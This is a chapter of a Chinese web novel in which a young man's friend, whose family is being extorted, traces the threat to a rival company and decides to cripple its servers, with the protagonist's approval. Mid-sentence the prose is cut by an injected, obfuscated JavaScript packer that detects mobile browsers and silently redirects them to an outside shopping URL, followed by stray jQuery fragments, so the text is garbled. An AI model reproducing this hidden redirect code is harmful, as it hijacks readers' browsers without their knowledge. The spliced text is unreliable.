黑色轿车的引擎声在身后响起,低沉而持续,像某种大型动物的呼吸。
严策没有回头。
他保持着正常的步速,右手插在裤兜里,指尖触碰着备用手机的金属外壳。夏夜的热浪包裹着身体,汗水从额角渗出,顺着太阳穴滑落,滴在衬衫领口上。路边烧烤摊的油烟味、啤酒瓶碰撞声、食客的喧哗声混杂在一起,构成城市夜晚的背景噪音。
他拐进一条小巷。
巷子很窄,两侧是老式居民楼的侧面墙壁,墙皮剥落,露出底下暗红色的砖块。几盏老旧的路灯间隔很远,光线昏暗,在地面投下斑驳的光影。严策的脚步声在巷子里回荡,啪嗒,啪嗒,节奏稳定。
身后的引擎声消失了。
但那种被注视的感觉没有消失。
严策走到巷子中段,突然停下。他蹲下身,假装系鞋带,眼角余光扫向巷口。昏黄的路灯光晕边缘,一道阴影短暂地闪过,随即隐入墙角的黑暗。
有人。
他站起身,继续往前走。巷子尽头连接着另一条街道,那里车流更多,灯光更亮。他加快脚步,呼吸法在体内悄然运转,气流在经脉中流转,带来一丝清凉,平复着加速的心跳。
口袋里的手机震动起来。
严策没有立刻接听。他走出巷子,混入街道上的人群,借着人流掩护,拐进一家二十四小时便利店。玻璃门开合的叮咚声响起,冷气扑面而来,带着超市特有的清洁剂和包装食品混合的气味。
他走到最里面的货架区,背对监控摄像头,掏出手机。
屏幕显示:李浩。
“喂?”
“策子!”李浩的声音从听筒里传来,急促,带着明显的颤抖,“出事了,我爸……”
背景音里,隐约能听到女人的哭声,断断续续,夹杂着方言的哭诉。
严策的心沉了下去。
“慢慢说,浩子。”他压低声音,目光扫过便利店门口。玻璃门外,街道上行人来来往往,暂时没有可疑的身影。
“我爸下班路上……被摩托车撞了。”李浩语速很快,几乎是在喘气,“不,不是撞,是擦碰。人没事,就是吓到了,手机丢了。然后……然后我妈接到电话,说是我爸撞了人,要赔钱,要私了,不然就……”
“要多少?”
“五万。”李浩的声音里压着怒火,“现金,今晚就要。我妈吓坏了,一直在哭。我让她别理,报警,但她怕……怕我爸真的惹上事。”
严策闭上眼睛。
脑海里迅速闪过几个画面:摩托车突然变道,擦碰,手机丢失,陌生电话,勒索。每一个环节都太巧合,太标准,标准得像教科书上的案例。
“浩子,听我说。”严策睁开眼,声音冷静得连他自己都有些意外,“第一,让你妈立刻报警,把那个电话号码给警察。第二,告诉她,不要给任何钱,不要答应任何私下交易。第三,让你爸去医院做个检查,留好所有单据。”
“我已经说了。”李浩深吸一口气,声音稍微稳定了一些,“我妈已经报警了,警察说会去查那个号码。但我爸……他不肯去医院,说就是吓了一下,没事。”
“必须去。”严策说,“检查不是为了治病,是为了留证据。万一对方反咬一口,说被你爸撞伤了,没有检查报告,说不清楚。”
电话那头沉默了几秒。
“你说得对。”李浩的声音低沉下来,“策子……你觉得这是意外吗?”
“你觉得呢?”
“……不像。”李浩说,“太巧了。我爸平时走那条路十几年了,从来没出过事。今天刚下班,天还没黑透,路上人不少,摩托车偏偏就擦到他。手机丢了,电话马上就打来了。”
严策没有回答。
他的目光落在便利店玻璃门上。门外,一辆黑色电动车驶过,骑手戴着全覆式头盔,看不清脸。电动车没有停留,很快消失在街角。
“浩子,”严策说,“你现在在家吗?”
“在。我刚从学校回来,我妈打电话的时候我正在路上。”
“锁好门,别让任何人进来。等我消息。”
挂断电话,严策立刻拨通了苏清影的号码。
响了三声,接通。
“严策?”苏清影的声音传来,背景很安静,隐约能听到翻动纸张的沙沙声,“你安全了吗?”
“暂时。”严策说,“但李浩那边出事了。”
他快速把情况说了一遍。
电话那头,翻动纸张的声音停下了。
“摩托车擦碰,手机丢失,勒索电话。”苏清影重复着这几个关键词,声音里带着冷意,“很老套的手段,但有效。特别是对普通家庭,突然遇到这种事,容易慌乱,容易妥协。”
“你觉得是研究会?”
“可能性很大。”苏清影说,“他们动不了你,就动你身边的人。李浩是你的技术后盾,动他的家人,既能制造混乱,也能试探你的反应,还能逼李浩分心。”
严策握紧了手机。
塑料外壳在掌心留下细微的压痕,指尖因为用力而微微发白。便利店的冷气吹在后颈上,带来一阵寒意。
“我需要你帮忙。”他说。
“我已经安排了。”苏清影的声音很干脆,“两个人,十分钟内会到李浩家附近。他们会守在小区出入口和楼下,确保没有陌生人接近。但只能在外围,不能进家门,否则会吓到李浩父母。”
“够了。”严策说,“谢谢。”
“不用。”苏清影停顿了一下,“严策,你自己呢?你现在在哪里?”
“便利店。”严策看了一眼货架上的商品,膨化食品的包装袋在灯光下泛着油腻的光泽,“暂时安全。我准备去秦悦那里,她懂法律,能帮李浩家处理后续。”
“好。保持联系。”
电话挂断。
严策在便利店里又站了两分钟,买了一瓶矿泉水。冰凉的塑料瓶握在手里,凝结的水珠顺着瓶身滑落,滴在手背上。他拧开瓶盖,喝了一口,冷水滑过喉咙,压下心头的焦躁。
走出便利店时,他给秦悦发了条信息。
五分钟后,秦悦回复:“我在事务所,你直接过来。地址发你。”
***
李浩坐在电脑前,屏幕的光映在他脸上,明暗交错。
房间里很安静,只有机箱风扇低沉的嗡鸣声,以及键盘敲击的清脆声响。窗帘拉得很严实,隔绝了窗外的夜色和路灯的光。桌上散落着几包拆开的薯片,但一片都没动,包装袋敞着口,散发出油腻的咸香味。
他的手指在键盘上快速移动。
屏幕上,代码行如瀑布般滚动。一个自定义的追踪程序正在运行,界面分割成三个区域:第一个区域显示着父亲丢失手机的最后定位数据;第二个区域在尝试逆向解析那个勒索电话号码的通信记录;第三个区域则连接着小区附近的公共监控摄像头,实时画面以网格形式排列。
母亲还在客厅里哭。
哭声隔着房门传来,压抑,断续,像受伤动物的呜咽。父亲在劝,声音低沉而疲惫,夹杂着方言的安慰。李浩能听出父亲声音里的后怕——那个摩托车擦身而过的瞬间,金属车身刮过手臂的触感,手机脱手飞出的失重感,还有陌生电话里那个冰冷而威胁的声音。
“五万,现金,今晚十点前。不然你老公就等着吃官司吧。”
李浩咬紧牙关。
指尖敲击键盘的力度加大,发出更响亮的咔嗒声。屏幕上,第一个区域的进度条走到了尽头,弹出一个地图界面。一个红色的光点在地图上闪烁,位置标注:城西郊区,旧工业园,经纬度坐标精确到小数点后六位。
丢失手机的最后信号位置。
李浩放大地图。卫星图像显示,那片区域是九十年代建的工厂区,现在大部分已经废弃。厂房破败,围墙坍塌,野草从水泥裂缝里疯长。附近没有居民区,没有商业设施,只有一条年久失修的公路从旁边穿过。
一个绝佳的、不会被人打扰的地方。
李浩切到第二个区域。
逆向解析的结果出来了。那个勒索电话号码经过三次转接:第一次从江城本地的一个预付费卡号,转到一个虚拟运营商的号码;第二次转到海外某个小国的通信服务器;第三次转回来,最终显示的来电号码,是一个注册在“鑫达商贸有限公司”名下的座机。
李浩打开企业信息查询网站。
输入“鑫达商贸有限公司”。页面加载,公司基本信息显示:注册资本五十万,法人代表张某某,经营范围包括建材批发、五金零售等。看起来就是一家普通的小公司。
但李浩没有停。
他调出之前从研究会服务器里扒出来的部分数据,那是严策用古算法解密后,他花了好几个晚上整理出来的关联图谱。他在搜索框里输入“鑫达商贸”,敲下回车。
关联图谱展开。
密密麻麻的线条和节点在屏幕上延伸,像一张巨大的蛛网。鑫达商贸的节点位于边缘,一条细细的虚线连接着另一个节点:寰宇科技控股有限公司。
虚线旁边标注着两个字:关联。
不是直接的子公司,不是控股关系,而是一种更隐蔽的关联——通过交叉持股、共同投资人、业务往来合同等复杂方式,将两家公司捆绑在一起。这种关联在公开信息里很难查到,但在研究会的内部数据里,被明确标记了出来。
李浩盯着那条虚线。
屏幕的光映在他眼睛里,瞳孔深处有什么东西在燃烧。
他拿起手机,拨通了严策的号码。
***
秦悦的律师事务所位于一栋写字楼的十七层。
电梯门打开时,严策闻到一股淡淡的咖啡香,混合着打印纸和皮革家具的气味。走廊铺着深灰色的地毯,脚步声被吸收,几乎无声。两侧的玻璃门上贴着各家公司的logo,灯光从门内透出,在走廊地面上投下长方形的光斑。
1708室。
严策推门进去。
前台已经下班,灯关着,只有里间的办公室还亮着光。他穿过接待区,皮鞋踩在地毯上发出轻微的沙沙声。办公室的门虚掩着,他敲了敲。
“进来。”
秦悦的声音传来。
严策推门而入。
办公室不大,但布置得很整洁。一面墙是书架,塞满了厚厚的法律典籍和案例汇编;另一面墙是落地窗,窗外是江城的夜景,高楼大厦的灯光如星河般铺展开来。办公桌上堆着几摞文件,笔记本电脑亮着,旁边放着一杯还在冒热气的咖啡。
秦悦坐在办公桌后,穿着浅灰色的职业套装,头发在脑后挽成一个简洁的发髻。她抬起头,看到严策,指了指对面的椅子。
“坐。”
严策坐下。
椅子是真皮的,坐下去时发出轻微的吱呀声,触感柔软而微凉。空调的温度开得有点低,他下意识地搓了搓手臂。
“李浩家的事,我在电话里大概听你说了。”秦悦开门见山,双手交叠放在桌上,指甲修剪得很整齐,没有涂任何颜色,“典型的敲诈勒索加骚扰。手法很老,但针对普通家庭,往往有效。”
“警察已经介入了。”严策说。
“我知道。”秦悦点头,“但警察处理需要时间,而且这种案子,如果对方咬定是交通事故纠纷,警方也很难立刻定性为敲诈勒索。特别是现在没有实际交易,没有拿到钱,证据链不完整。”
她从抽屉里拿出一本便签纸,撕下一张,用钢笔快速写下几个要点。
“第一,让李浩父亲去医院做全面检查,包括心理评估。惊吓导致的应激反应,也可以作为伤害证据。第二,保存好所有通话记录,如果对方再打来,尽量录音。第三,不要在任何文件上签字,特别是对方可能准备的所谓‘和解协议’。”
钢笔尖划过纸张,发出沙沙的声响。墨水是深蓝色的,在白色便签纸上留下清晰的笔迹。
“如果对方真的起诉呢?”严策问。
“那就应诉。”秦悦放下笔,抬起头,“交通事故的责任认定,需要证据。摩托车擦碰,如果对方没有行车记录仪,没有目击证人,仅凭一面之词,很难证明是你父亲的责任。反而,你父亲手机丢失、接到勒索电话这些事实,可以反过来证明对方有敲诈嫌疑。”
她的声音很平静,逻辑清晰,像在法庭上陈述辩护词。这种冷静感染了严策,他紧绷的神经稍微松弛了一些。
“秦律师,”他说,“你觉得这是意外,还是……”
“故意?”秦悦接过话头,手指轻轻敲了敲桌面,“从法律人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695393|207667||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的角度,我不能在没有证据的情况下下结论。但从常理推断,时机太巧了。李浩是你的朋友,正在帮你做技术对抗,他的家人就出事。这种‘巧合’,值得警惕。”
她停顿了一下,目光落在严策脸上。
“严策,你自己也要小心。如果这真的是针对你们的行动,那么李浩家只是开始。接下来,可能还会有其他手段。”
严策点头。
口袋里的手机又震动起来。他掏出来,看到是李浩的来电。
“接吧。”秦悦说。
严策按下接听键,打开免提。
“策子,”李浩的声音从扬声器里传出来,比之前更冷,更硬,“我查到了。我爸手机最后信号在城西旧工业园,一个废弃工厂区。那个勒索电话,经过三次转接,最终源头是一个叫‘鑫达商贸’的公司。”
秦悦的眉毛微微挑起。
“继续。”严策说。
“我查了企业关联。”李浩的声音里压着某种东西,像火山爆发前的寂静,“鑫达商贸,和寰宇科技有隐蔽关联。不是明面上的,是通过交叉持股和共同投资人绑在一起的。在研究会的数据里,这两家公司被标记为‘关联实体’。”
办公室里安静了几秒。
只有空调出风口吹出的冷气,发出细微的嘶嘶声。窗外,城市的灯光无声闪烁,像无数只眼睛在黑暗中凝视。
“寰宇科技。”秦悦缓缓重复这四个字,手指无意识地摩挲着钢笔的金属笔帽,“林骁家的公司。”
“对。”李浩的声音从电话里传来,每个字都像从牙缝里挤出来的,“他们动不了你,就动我家人。用这种下三滥的手段,吓唬老人,勒索钱财。策子……”
他停顿了一下。
再开口时,声音里带着一种严策从未听过的、冰冷的愤怒。
“他们动我家人。”
严策握紧了手机。
塑料外壳在掌心发出轻微的咯吱声。他能想象李浩此刻的表情——那个平时总是笑嘻嘻、爱开玩笑的发小,此刻一定盯着屏幕,眼睛里燃烧着怒火,手指因为用力而关节发白。
“浩子,”严策说,“冷静。我们现在需要的是证据,是合法的反击。”
“我知道。”李浩说,“但我查到的这些,还不够。关联图谱是研究会的内部数据,不能作为公开证据。手机定位只能证明手机去过那里,不能证明是谁拿走的。勒索电话转接太多,追不到具体的人。”
他深吸一口气。
“但策子,我咽不下这口气。我爸今天是真的被吓到了,我妈哭到现在还没停。他们就是普通老百姓,一辈子老老实实,没惹过谁,没得罪过谁。就因为我是你朋友,就因为我帮你做事,他们就……”
声音哽住了。
严策闭上眼睛。
脑海里闪过李浩父母的样子——李叔叔是个老实巴交的工程师,说话慢声细语,爱养花;李阿姨是小学老师,温柔爱笑,每次去李浩家都会塞给他一堆零食。两个最普通的、最与世无争的人,此刻因为他的缘故,被卷入这场危险的漩涡。
“浩子,”严策睁开眼,声音很轻,但很清晰,“你想怎么做?”
电话那头沉默了很久。
久到严策以为信号断了。
然后,李浩的声音传来,平静,冰冷,像淬过火的刀。
“他们用技术手段骚扰我家人。”他说,“那我就用技术手段,还回去。”
“具体?”
“研究会那几个对外服务器,寰宇科技的业务数据库。”李浩说,“我之前一直小心翼翼,只敢看,不敢动。但现在……他们越线了。策子,我要给他们制造点麻烦。不是偷数据,是制造混乱——垃圾数据堵塞通道,逻辑炸弹触发假警报,让他们的系统瘫痪几个小时,让他们的内部通讯乱成一团。”
秦悦的眉头皱了起来。
“李浩,”她开口,声音严肃,“那是违法行为。黑客攻击,破坏计算机信息系统,量刑标准很明确。一旦被抓,三年起步。”
“我知道。”李浩说,“所以我会小心。用跳板,用肉鸡,用多层代理。攻击时间控制在深夜,在他们安全人员反应最慢的时候。而且我不偷数据,不破坏核心系统,只是制造混乱。等他们反应过来,我早就撤了。”
“风险还是很大。”秦悦说。
“我知道。”李浩重复道,声音里带着一种决绝,“但我必须做点什么。秦律师,你能理解吗?当你家人被威胁,被恐吓,而你明明有能力反击,却只能坐在电脑前,看着那些数据,什么都做不了……那种感觉,比死还难受。”
秦悦沉默了。
她看着严策,严策也看着她。办公室里,只有空调的嘶嘶声,和电话里隐约传来的机箱风扇嗡鸣。
“浩子,”严策最终开口,“我只有一个要求。”
“你说。”
“适可而止。”严策一字一句地说,“制造混乱,可以。但不要留下把柄,不要被追踪到。做完就撤,不要恋战。你的安全,比你给他们造成的任何损失都重要。”
电话那头,李浩笑了。
笑声很短,很冷。
“放心,策子。”他说,“我可是技术天才。等我消息。”
电话挂断。
忙音在办公室里回荡,然后消失。
严策放下手机,掌心全是汗。塑料外壳上留下湿漉漉的指印,在灯光下泛着微光。他看向秦悦,秦悦也看着他,两人都没有说话。
窗外,江城的夜色更深了。
高楼大厦的灯光逐渐熄灭,只剩下零星的几点,像困倦的眼睛。街道上的车流变少,偶尔有出租车驶过,轮胎碾过路面的声音在寂静中格外清晰。
“他会没事的。”秦悦最终说,声音很轻,像在安慰严策,也像在安慰自己,“李浩很聪明,知道分寸。”
“希望如此。”严策说。
他站起身,走到落地窗前。玻璃冰凉,倒映出他的脸——苍白,疲惫,眼睛里藏着深深的忧虑。窗外,城市的轮廓在夜色中模糊,像一头沉睡的巨兽,而他们,正在这头巨兽的阴影里,进行着一场看不见的战争。
手机又震动了一下。
严策低头,看到李浩发来的信息,只有两个字:
“开始。”